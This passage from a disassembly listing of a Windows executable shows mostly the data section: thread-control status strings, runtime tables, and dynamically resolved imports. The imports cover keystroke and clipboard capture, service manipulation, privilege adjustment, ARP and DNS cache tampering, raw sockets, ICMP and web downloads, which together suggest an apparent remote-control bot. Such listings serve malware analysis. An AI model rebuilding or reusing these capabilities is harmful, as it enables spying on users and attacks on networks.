XREF: .nsp0:loc_4313D0j push 0 call sub_4313E4 jz loc_4313D0 retn ; =============== S U B R O U T I N E ======================================= sub_4313E4 proc near ; CODE XREF: .nsp0:004313C8p ; .nsp0:004313D8p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_4313E4 endp ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_411C28+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_411C28+35o dword_431460 dd 1 align 10h dword_431470 dd 173Fh dd 9875h, 9873h off_43147C dd offset sub_412911 ; DATA XREF: sub_413FAAr dd offset nullsub_2 dd offset nullsub_2 dword_431488 dd 1B3Fh dword_43148C dd 19930520h, 4 dup(0) ; sub_412E16+2o off_4314A0 dd offset sub_413FE8 ; DATA XREF: sub_4144BE+1Cr dword_4314A4 dd 2 ; sub_419639+46r ... off_4314A8 dd offset aNull_0 ; DATA XREF: sub_41461C:loc_414980r ; sub_41461C+457r ; "(null)" off_4314AC dd offset aNull ; DATA XREF: sub_41461C+259r ; "(null)" off_4314B0 dd offset word_4314BA ; DATA XREF: sub_4123D4+23r ; sub_4123D4:loc_412435r ... dd offset word_4314BA db 2 dup(0) word_4314BA dw 20h ; DATA XREF: sub_41AF8D+18r ; .nsp0:off_4314B0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4316BC dd 1 ; sub_4123D4:loc_412420r ... byte_4316C0 db 2Eh ; DATA XREF: sub_4167E8:loc_416828r ; .nsp0:00416846r ... align 4 dd 1, 10h dword_4316CC dd 3F8h ; sub_413D8F+4Dr ... dword_4316D0 dd 14h off_4316D4 dd offset aExp ; DATA XREF: sub_416531:loc_41654Er ; "exp" dd 1Dh, 41D79Ch, 1Ah, 41D798h, 1Bh, 41D790h, 1Fh, 41D788h dd 13h, 41D780h, 21h, 41D778h, 0Eh, 41D770h, 0Dh, 41D768h dd 0Fh, 41D760h, 10h, 41D758h, 5, 41D750h, 1Eh, 41D74Ch dd 12h, 41D748h, 20h, 41D744h, 0Ch, 41D73Ch, 0Bh, 41D734h dd 15h, 41D72Ch, 1Ch, 41D724h, 19h, 41D71Ch, 11h, 41D714h dd 18h, 41D70Ch, 16h, 41D704h, 17h, 41D6FCh, 22h, 41D6F8h dd 23h, 41D6F4h, 24h, 41D6F0h dbl_4317A8 dq 1.797693134862316e308 ; DATA XREF: sub_41626C+B7r ; sub_41626C:loc_416353r ... dd 0 dd 0FFF80000h dbl_4317B8 dq 1.797693134862316e308 ; DATA XREF: sub_41626C+92r ; sub_41626C:loc_41632Br ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4317D0 dt 2.3562723457267347066e313 ; DATA XREF: sub_416719+Dr ; sub_416719+1Fr align 4 tbyte_4317DC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_416719+31r align 4 off_4317E8 dd offset sub_41A7C6 ; DATA XREF: sub_412929+Fw ; sub_41461C+3AAr off_4317EC dd offset sub_41A7C6 ; DATA XREF: sub_412929+5w ; sub_41461C+3E2r off_4317F0 dd offset sub_41A7C6 ; DATA XREF: sub_412929+14w ; sub_41760D+430r off_4317F4 dd offset sub_41A7C6 ; DATA XREF: sub_412929+1Ew ; sub_41461C+3CBr off_4317F8 dd offset sub_41A7C6 ; DATA XREF: sub_412929+28w off_4317FC dd offset sub_41A7C6 ; DATA XREF: sub_412929+32w dd offset sub_41A7CF align 10h dd offset sub_41746C off_431814 dd offset sub_41746C ; DATA XREF: sub_4174C2+29r dword_431818 dd 0D2D0920h, 5Dhdword_431820 dd 5Dh, 0 byte_431828 db 1 ; DATA XREF: .nsp0:00418971r db 2, 4, 8 align 10h dword_431830 dd 3A4h dword_431834 dd 82798260h, 21h, 0dword_431840 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_431920 dd 1 ; sub_418CFA+Co dword_431924 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_431A88 dd 0C0000005h ; sub_418EA2+Ar ... dword_431A8C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_431B00 dd 3 ; sub_41BB67+C8r dword_431B04 dd 7 ; sub_41BB67+CDr dword_431B08 dd 0Ah ; sub_41BC94+4r dword_431B0C dd 8Ch ; .nsp0:00418DF0w ... dword_431B10 dd 0FFFFFFFFh, 0A00h ; sub_418180:loc_418201o dword_431B18 dd 2 ; sub_419639+28r off_431B1C dd offset aR6002FloatingP ; DATA XREF: sub_419639+FCr ; sub_419639+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41DABCh, 9, 41DA90h, 0Ah, 41DA6Ch, 10h, 41DA40h dd 11h, 41DA10h, 12h, 41D9ECh, 13h, 41D9C0h, 18h, 41D988h dd 19h, 41D960h, 1Ah, 41D928h, 1Bh, 41D8F0h, 1Ch, 41D8C8h dd 78h, 41D8B8h, 79h, 41D8A8h, 7Ah, 41D898h, 0FCh, 421F48h dd 0FFh, 41D888h off_431BA8 dd offset dword_462EC0 ; DATA XREF: sub_419639+1Bo ; sub_4199A3+55o align 10h dd offset dword_462EC0 dd 101h dword_431BB8 dd 2 dup(0) dd 1000h, 0 dword_431BC8 dd 3 dup(0) ; sub_415086+12o dd 2, 1, 3 dup(0) dword_431BE8 dd 3 dup(0) ; sub_415086:loc_4150A4o dd 2 dup(2), 7 dup(0) dword_431C18 dd 84h dup(0) dword_431E28 dd 2694h ; sub_415F21+46r ... align 10h dword_431E30 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_431E48 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_431E60 dd 7080h ; sub_41AA32+5Ew ... dword_431E64 dd 1 ; sub_41AA32+8Bw ... dword_431E68 dd 0FFFFF1F0h ; sub_41AA32+94w ... dword_431E6C dd 545350h, 0Fh dup(0)dword_431EAC dd 544450h, 0Fh dup(0)off_431EEC dd offset dword_431E6C ; DATA XREF: sub_41AA32+BAr ; sub_41AA32+D9r ... off_431EF0 dd offset dword_431EAC ; DATA XREF: sub_41AA32+F4r ; sub_41AA32+11Br ... align 8 dword_431EF8 dd 0FFFFFFFFh ; sub_41AC90+1Er ... dword_431EFC dd 0 ; sub_41AE3C+BFw dword_431F00 dd 0 ; sub_41AE3C+E0w align 8 dword_431F08 dd 0FFFFFFFFh ; sub_41AC90+26r ... dword_431F0C dd 0 ; sub_41AE3C+EAw ... dword_431F10 dd 0 ; sub_41AE3C+23r ... dword_431F14 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_431F44 dd 16Dh ; sub_41AE3C+2Er ... dword_431F48 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_431F80 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4320E0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41BFEC+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_432240 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DCD0o ; .nsp0:0041DDFCo ... align 8 a_?avexception@ db '.?AVexception@@',0 off_432258 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DCE8o ; .nsp0:0041DD7Co ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_432278 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DD00o ; .nsp0:0041DD44o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_432298 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DD88o ; .nsp0:0041DDCCo ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_4322B8 dd offset off_41DCAC ; DATA XREF: .nsp0:off_41DE08o ; .nsp0:0041DE44o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41A7CF dd 10Ah dup(0) dword_4326FC dd 2 dup(0) dword_432704 dd 0 ; .nsp0:0040F80Ao ... byte_432708 db 0 ; DATA XREF: sub_4031F5+10o ; sub_40516F+74o ... align 4 dword_43270C dd 0 ; sub_40405E+51r ... dword_432710 dd 0 ; sub_4038B1+82r ... align 8 dword_432718 dd 0 ; sub_405CA4+92w ... dword_43271C dd 0 ; sub_405FF1+D9w ... dd 256h dup(0) dword_433078 dd 6 dup(0) ; sub_405DDD+138o ... dword_433090 dd 0 ; .nsp0:004059CAo dword_433094 dd 41h dup(0) dword_433198 dd 41h dup(0) dword_43329C dd 0 ; .nsp0:004059DCr dword_4332A0 dd 0 dword_4332A4 dd 0 ; .nsp0:00405997r dword_4332A8 dd 20h dup(0) ; .nsp0:00405982o dword_433328 dd 0 dword_43332C dd 0 ; .nsp0:0040598Fw dword_433330 dd 0 align 8 dword_433338 dd 0 ; .nsp0:00405BF6o dword_43333C dd 0A2h dup(0) dword_4335C4 dd 41h dup(0) dword_4336C8 dd 0 ; .nsp0:00405BA9r align 10h dword_4336D0 dd 0 ; .nsp0:00405C08r dword_4336D4 dd 0 dword_4336D8 dd 0 dword_4336DC dd 0 dd 0 dword_4336E4 dd 0 dword_4336E8 dd 0 dword_4336EC dd 82h dup(0) dword_4338F4 dd 0 ; .nsp0:00405AFBr dword_4338F8 dd 0 dword_4338FC dd 0 dd 21h dup(0) dword_433984 dd 0 dword_433988 dd 0 align 10h dword_433990 dd 0 ; resolved to->GDI32.DeleteDC ; sub_4068C6+4CDr dword_433994 dd 0 ; resolved to->KERNEL32.Module32First ; sub_410A77+F5r dword_433998 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4068C6+862r ... dword_43399C dd 0 ; sub_4068C6+A18r ... dword_4339A0 dd 0 ; sub_4068C6+9E8r ... dword_4339A4 dd 0 ; resolved to->GDI32.SelectObject ; sub_4068C6+4BDr dword_4339A8 dd 0 ; resolved to->USER32.GetKeyState ; sub_4021FB+109r ... dword_4339AC dd 0 ; sub_4068C6+A10r ... dword_4339B0 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_4068C6+3A9r ... dword_4339B4 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_4089A5+11Er dword_4339B8 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_4068C6+3B1r ... dword_4339BC dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_410065+ADr dword_4339C0 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_4068C6+53Cw dword_4339C4 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4068C6+D2r ... dword_4339C8 dd 0 ; sub_4068C6+9DBr ... dword_4339CC dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4068C6+3C9r ... dword_4339D0 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_4068C6+88Er dword_4339D4 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4068C6+2D6r dword_4339D8 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_4068C6+886r ... dword_4339DC dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4339E0 dd 0 ; resolved to->WININET.InternetReadFile ; sub_4068C6+896r ... dword_4339E4 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_4068C6+52Fw ... dword_4339E8 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_4068C6+CAr ... dword_4339EC dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_4080EB+11Ar dword_4339F0 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4068C6+A6Dr ... dword_4339F4 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4068C6+F2r dword_4339F8 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_4068C6+4B5r dword_4339FC dd 0 ; resolved to->WS2_32.ntohl ; sub_4068C6+5D8w ... dword_433A00 dd 0 ; sub_4068C6+A08r dword_433A04 dd 0 ; resolved to->WS2_32.ntohs ; sub_4068C6+5CBw ... dword_433A08 dd 0 dword_433A0C dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_4068C6+84Fr ... dword_433A10 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_407CC7+15r dword_433A14 dd 0 ; sub_4068C6+9F0r ... dword_433A18 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_4068C6+3B9r ... dword_433A1C dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_4068C6+3C1r ... dword_433A20 dd 0 ; sub_4068C6+C5Dr dword_433A24 dd 0 ; resolved to->WS2_32.getpeernamedword_433A28 dd 0 ; resolved to->WS2_32.WSACleanup ; .nsp0:loc_401B70r ... dword_433A2C dd 0 ; resolved to->GDI32.DeleteObjectdword_433A30 dd 0 ; sub_4068C6+A20r ... dword_433A34 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4068C6+2DEr ... dword_433A38 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4068C6+DAr ... dword_433A3C dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_4068C6+B75r ... dword_433A40 dd 0 ; resolved to->WS2_32.WSAStartup ; .nsp0:004018F9r ... dword_433A44 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_4068C6+872r dword_433A48 dd 0 ; sub_4068C6+9F8r dword_433A4C dd 0 ; sub_4068C6+C10r dword_433A50 dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_4021FB+63r ... dword_433A54 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4068C6+910r ... dword_433A58 dd 0 dword_433A5C dd 0 ; resolved to->WS2_32.WSAGetLastError ; .nsp0:00401483r ... dword_433A60 dd 0 ; resolved to->WININET.InternetOpenA ; sub_4068C6+855r dword_433A64 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_4021FB+78r ... dword_433A68 dd 0 ; resolved to->USER32.IsWindow ; sub_4068C6+1C2r dword_433A6C dd 0 ; resolved to->WS2_32.getsockname ; sub_4068C6+786r ... dword_433A70 dd 0 ; resolved to->WS2_32.connect ; sub_40516F+62r ... dword_433A74 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_4068C6+549w ... dword_433A78 dd 0 ; sub_4068C6:loc_4071A1w ... dword_433A7C dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4068C6+2C6r ... dword_433A80 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_4068C6+681w ... dword_433A84 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4068C6+323r ... dword_433A88 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4068C6+3D1r ... dword_433A8C dd 0 ; sub_4068C6+C08r dword_433A90 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_4068C6+86Ar dword_433A94 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_4068C6+206w ... dword_433A98 dd 0 ; resolved to->USER32.OpenClipboard ; sub_4068C6+1D2r ... dword_433A9C dd 0 ; resolved to->WININET.InternetConnectA ; sub_4068C6+87Ar dword_433AA0 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_4068C6+606w ... dword_433AA4 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409026+5Ar ... dword_433AA8 dd 0 ; resolved to->WSOCK32.setsockopt ; .nsp0:00401939r ... dword_433AAC dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_4068C6+316r ... dword_433AB0 dd 0 ; resolved to->WS2_32.select ; sub_405290+1FCr ... dword_433AB4 dd 0 ; resolved to->GDI32.CreateDCA ; sub_4068C6+490r dword_433AB8 dd 0 ; resolved to->USER32.GetClipboardData ; sub_4068C6+1DAr ... dword_433ABC dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4068C6+39Cr ... dword_433AC0 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_433AC4 dd 0 ; resolved to->WS2_32.ntohl ; .nsp0:004012ABr ... dword_433AC8 dd 0 ; resolved to->WS2_32.ntohs ; .nsp0:0040114Fr ... dword_433ACC dd 0 ; resolved to->KERNEL32.Process32First ; sub_4068C6+C2r ... dword_433AD0 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_4068C6+4ADr dword_433AD4 dd 0 ; resolved to->USER32.FindWindowA ; sub_4068C6+1BAr ... dword_433AD8 dd 0 ; sub_41094E+72r dword_433ADC dd 0 ; resolved to->WS2_32.gethostname ; sub_4068C6+78Er dword_433AE0 dd 0 ; resolved to->WSOCK32.recv ; sub_402E17+75r ... dword_433AE4 dd 0 ; sub_4068C6+C18r dword_433AE8 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4068C6+BAr ... dword_433AEC dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_4068C6+2CEr ... dword_433AF0 dd 0 ; resolved to->WS2_32.listen ; sub_406250+9Cr ... dword_433AF4 dd 0 ; resolved to->WS2_32.bind ; sub_404175+89r ... dword_433AF8 dd 0 dword_433AFC dd 0 ; resolved to->WININET.InternetCloseHandle ; .nsp0:00409637r dword_433B00 dd 0 dword_433B04 dd 0 ; sub_4068C6+BF3r dword_433B08 dd 0 ; resolved to->WS2_32.inet_addr ; sub_4032B0+ECr ... dword_433B0C dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_4068C6+49Dr dword_433B10 dd 0 ; resolved to->GDI32.BitBlt ; sub_4068C6+4C5r dword_433B14 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_4068C6+4A5r dword_433B18 dd 0 ; resolved to->WS2_32.send ; sub_402E96+35r ... dword_433B1C dd 0 ; resolved to->USER32.CloseClipboard ; sub_4068C6+1E2r ... dword_433B20 dd 0 ; sub_4068C6+A28r ... dword_433B24 dd 0 ; resolved to->USER32.SendMessageA ; sub_4068C6+1ADr dword_433B28 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_4068C6+E2r ... dword_433B2C dd 0 ; resolved to->WS2_32.sendto ; .nsp0:00401B08r ... dword_433B30 dd 0 ; sub_4068C6+B30r dword_433B34 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_410A0C+55r dword_433B38 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4068C6+2B9r ... dword_433B3C dd 0 ; resolved to->SHELL32.SHChangeNotifydword_433B40 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_407F67+CEr dword_433B44 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4068C6+AB7r ... dword_433B48 dd 0 ; resolved to->WS2_32.socket ; .nsp0:00401C2Br ... dword_433B4C dd 0 ; resolved to->WS2_32.gethostbyname ; sub_4068C6+674w ... dword_433B50 dd 0 ; sub_4068C6+C00r dword_433B54 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_405290+250r ... dword_433B58 dd 0 ; sub_4068C6+A00r ... dword_433B5C dd 0 ; resolved to->WS2_32.accept ; sub_406250+B3r ... dword_433B60 dd 0 ; resolved to->WS2_32.closesocket ; .nsp0:00401B69r ... dword_433B64 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_404175+39Fr ... dword_433B68 dd 0 ; sub_4068C6+B28r dword_433B6C dd 0 ; resolved to->WS2_32.WSASocketA ; .nsp0:00401919r ... dword_433B70 dd 0 ; sub_4068C6+B1Br dword_433B74 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_4068C6+ADr ... dword_433B78 dd 0 ; resolved to->USER32.DestroyWindow ; sub_4068C6+1CAr align 10h dword_433B80 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4068C6+91Dr ... dword_433B84 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_4068C6+EAr ... dword_433B88 dd 0 ; sub_4068C6+12Bw ... dword_433B8C dd 0 ; sub_407553+1Cr dword_433B90 dd 0 ; sub_4068C6:loc_406B1Bw ... dword_433B94 dd 0 ; sub_407553+50r dword_433B98 dd 0 ; sub_4068C6:loc_406BF5w ... dword_433B9C dd 0 ; sub_407553+84r dword_433BA0 dd 0 ; sub_407553:loc_407603r dword_433BA4 dd 0 ; sub_407553+B8r dword_433BA8 dd 0 ; sub_407553:loc_407637r dword_433BAC dd 0 ; sub_407553+ECr dword_433BB0 dd 0 ; sub_4068C6+8D1w ... dword_433BB4 dd 0 ; sub_407553+120r dword_433BB8 dd 0 ; sub_407553:loc_40769Fr ... dword_433BBC dd 0 ; sub_407553+154r dword_433BC0 dd 0 ; sub_407553:loc_4076D3r ... dword_433BC4 dd 0 ; sub_407553+188r dword_433BC8 dd 0 ; sub_407553:loc_407707r dword_433BCC dd 0 ; sub_407553+1BCr dword_433BD0 dd 0 ; sub_407553:loc_40773Br dword_433BD4 dd 0 ; sub_407553+1F0r dword_433BD8 dd 0 ; sub_407553:loc_40776Fr dword_433BDC dd 0 ; sub_407553+224r dword_433BE0 dd 0 ; sub_407553:loc_4077A3r dword_433BE4 dd 0 ; sub_407553+258r dword_433BE8 dd 0 ; sub_407553:loc_4077D7r dword_433BEC dd 0 ; sub_407553+28Cr dword_433BF0 dd 0 ; sub_407553:loc_40780Br dword_433BF4 dd 0 ; sub_407553+2C0r dd 81h dup(0) dword_433DFC dd 5 dup(0) dword_433E10 dd 0 ; .nsp0:004085D0r dword_433E14 dd 0 ; .nsp0:004085B3r ... dword_433E18 dd 0 dword_433E1C dd 0 dword_433E20 dd 0Dh dup(0) dword_433E54 dd 0 ; .nsp0:00408668r ... dd 0 dword_433E5C dd 0Eh dup(0) dword_433E94 dd 1000h dup(0) ; sub_408EB7o ... dword_437E94 dd 0 ; sub_408EB7+Eo ... dword_437E98 dd 0Eh dup(0) dword_437ED0 dd 2 dup(0) dword_437ED8 dd 0 ; sub_408D1F+44r ... dd 5 dup(0) dword_437EF0 dd 0 ; .nsp0:0040AC38r dd 2D9h dup(0) dword_438A58 dd 0 ; sub_408D1F+2Do ... dd 7Fh dup(0) dword_438C58 dd 0 ; sub_411AD5+40w ... dword_438C5C dd 0 ; sub_405DDD:loc_405E24r ... dword_438C60 dd 0 ; sub_411AD5+3Ar ... dword_438C64 dd 0 ; sub_404175+7Ew ... dword_438C68 dd 0 ; .nsp0:00406612r ... dword_438C6C dd 0 ; .nsp0:004059EAw ... byte_438C70 db 0 ; DATA XREF: sub_40A059+91o ; .nsp0:0040D14Br ... align 4 dd 32B7h dup(0) dword_445750 dd 71FEh dup(0) dword_461F48 dd 0 ; .nsp0:00409B38w ... align 10h dword_461F50 dd 0 dword_461F54 dd 20h dup(0) ; .nsp0:00409FBCo ... dword_461FD4 dd 10h dup(0) ; .nsp0:0040ABBDo dword_462014 dd 24h dup(0) dword_4620A4 dd 0 ; .nsp0:00409FD3w ... dword_4620A8 dd 0 dd 3 dup(0) dword_4620B8 dd 0 dword_4620BC dd 0 ; .nsp0:0040A5AFr byte_4620C0 db 0 ; DATA XREF: sub_40A1C1+28r ; sub_40A1C1+30o align 8 dword_4620C8 dd 0 ; .nsp0:00409F87r ... dword_4620CC dd 0 ; .nsp0:0040AB61r dword_4620D0 dd 17h dup(0) ; sub_40FBB5+131o ... dword_46212C dd 7 dup(0) ; sub_41094E+A5o dword_462148 dd 0 ; sub_411C01+19o dword_46214C dd 78h dup(0) dword_46232C dd 0 ; sub_40FF2F+4Dr ... dword_462330 dd 17h dup(0) ; sub_41081A+12Do dword_46238C dd 80h dup(0) ; sub_40FE70+7Do ... byte_46258C db 0 ; DATA XREF: sub_40FF2F+29r ; sub_40FF2F+34w align 10h dword_462590 dd 80h dup(0) ; sub_410186+88o ... dword_462790 dd 81h dup(0) ; sub_40FA8C+50o ... dword_462994 dd 84h dup(0) dword_462BA4 dd 0 dword_462BA8 dd 0 ; sub_4134A4+A4w align 10h word_462BB0 dw 0 ; DATA XREF: sub_4134A4+55r ; sub_4134A4+9Ao word_462BB2 dw 0 ; DATA XREF: sub_4134A4+48r db 2 dup(0) word_462BB6 dw 0 ; DATA XREF: sub_4134A4+3Br word_462BB8 dw 0 ; DATA XREF: sub_4134A4+2Er word_462BBA dw 0 ; DATA XREF: sub_4134A4+21r align 10h dword_462BC0 dd 0 ; sub_413668+91w dword_462BC4 dd 0 ; sub_41380E:loc_41388Aw ... dword_462BC8 dd 0 ; sub_414E9B:loc_414F35w ... dword_462BCC dd 0 dword_462BD0 dd 0 dword_462BD4 dd 0 dword_462BD8 dd 0 dword_462BDC dd 0 dword_462BE0 dd 0 ; sub_418FF6+91w dword_462BE4 dd 0 ; 